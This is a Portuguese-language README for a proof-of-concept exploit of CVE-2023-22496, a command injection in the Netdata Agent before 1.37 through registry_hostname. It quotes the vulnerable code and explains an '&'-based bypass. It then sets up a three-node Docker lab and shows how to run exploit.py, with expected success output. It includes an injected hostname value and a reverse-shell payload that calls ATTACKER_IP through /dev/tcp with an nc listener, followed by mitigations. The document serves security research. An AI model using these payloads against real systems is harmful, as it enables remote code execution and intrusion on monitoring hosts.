
PoC para CVE-2023-22496: Injeção de Comando no SO no Netdata Agent <1.37 via registry_hostname
Gravidade: Crítica (CVSS 9.8)
Afetado: Netdata Agent < 1.37.0
Corrigido em: v1.37.0
Tipo: Injeção de Comandos do SO (CWE-78)
CVE-2023-22496 é uma vulnerabilidade de injeção de comandos do SO no sistema de notificação de alarmes de saúde do Netdata. O registry_hostname de qualquer nó em uma cadeia de streaming é inserido em um comando shell sem sanitização. Um atacante que consiga definir registry hostname em um arquivo de configuração do Netdata obtém execução remota de código como o usuário do processo netdata em qualquer nó pai que processe o alarme.
health/health.cstatic inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
...
char cmd[LEN + 1];
snprintfz(cmd, LEN,
"exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
exec, // alarm-notify.sh
recipient, // e.g. "root"
host->registry_hostname, // ← NO SANITISATION — attacker-controlled
ae->name,
...
);
ae->exec_code = spawn_enq_cmd(cmd); // run via /bin/sh
...
}
spawn_enq_cmd passa a string para /bin/sh -c, que a avalia como shell. Como registry_hostname nunca é sanitizado, um atacante pode injetar comandos shell arbitrários.
execA injeção ingênua `'; cmd; '` não funciona porque o builtin exec do shell substitui o processo atual do shell, então o ;cmd; injetado nunca é alcançado.
Bypass funcional — use & (operador de background):
# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...
# Execution flow:
# exec alarm-notify.sh 'root' 'x' & → runs in background; shell stays alive
# touch /tmp/pwned & → shell evaluates this; file created
# # → rest is a comment; ignored
┌──────────────┐ stream ┌──────────────┐ stream ┌──────────────────────┐
│ agent_child │ ───────▶ │ agent_middle │ ───────▶ │ agent_parent │
│ (attacker) │ │ (relay) │ │ (victim / target) │
└──────────────┘ └──────────────┘ └──────────────────────┘
│
health_alarm_execute() fires
with injected registry_hostname
→ RCE on agent_parent
O atacante só precisa controlar qualquer nó na cadeia de streaming. O registry_hostname é propagado no protocolo de stream e usado literalmente por cada nó pai quando chama health_alarm_execute.
CVE-2023-22496-PoC/
├── Dockerfile # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml # 3-node vulnerable streaming environment
├── exploit.py # Standalone exploit script
├── config/
│ ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│ ├── parent_stream.conf # Parent accepts streams + evaluates health
│ ├── parent_guid # Fixed node GUID
│ ├── middle_netdata.conf # Middle relay config
│ ├── middle_stream.conf
│ ├── middle_guid
│ ├── child_netdata.conf # Child sender config
│ ├── child_stream.conf
│ └── child_guid
└── README.md
docker compose)git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC
# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .
docker compose up -d
Aguarde ~15 segundos para o Netdata inicializar e então verifique:
# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."
# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"
# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned
Saída esperada:
======================================================================
CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
Shell command : 'touch /tmp/pwned'
Injected host : "x' & touch /tmp/pwned & #"
[*] Pre-flight: verifying Docker environment
[*] All 3 containers are running.
[*] Step 1: Writing injected netdata.conf for agent_parent
Written: config/parent_netdata.conf
registry hostname = "x' & touch /tmp/pwned & #"
[*] Step 2: Restarting agent_parent to load injected config
...
agent_parent is up and responding.
[*] Step 3: Waiting 65s for a disk_space WARNING alarm
[*] Step 4: Checking for command execution evidence
======================================================================
✅ SUCCESS — CVE-2023-22496 CONFIRMED
'/tmp/pwned' exists on agent_parent
======================================================================
# On your listener machine:
nc -lvnp 4444
# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)
# Stop and remove containers + volumes
docker compose down -v
# Remove the image
docker rmi netdata-vuln:v1.36.1
| Ação | Detalhe |
|---|---|
| Atualizar | Atualizar o Netdata Agent para ≥ v1.37.0 |
| Restringir | Restringir acesso de escrita ao netdata.conf |
| Rede | Isolar as portas de streaming (19999/tcp) apenas para redes confiáveis |
| Verificar | netdata --version — confirme que você não está em uma versão anterior a 1.37 |
A correção na v1.37.0 sanitiza o registry_hostname rejeitando quaisquer caracteres fora de [a-zA-Z0-9._-] antes de inseri-lo no comando shell.
Este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. Executar este PoC contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito é ilegal. Os autores não assumem nenhuma responsabilidade pelo uso indevido.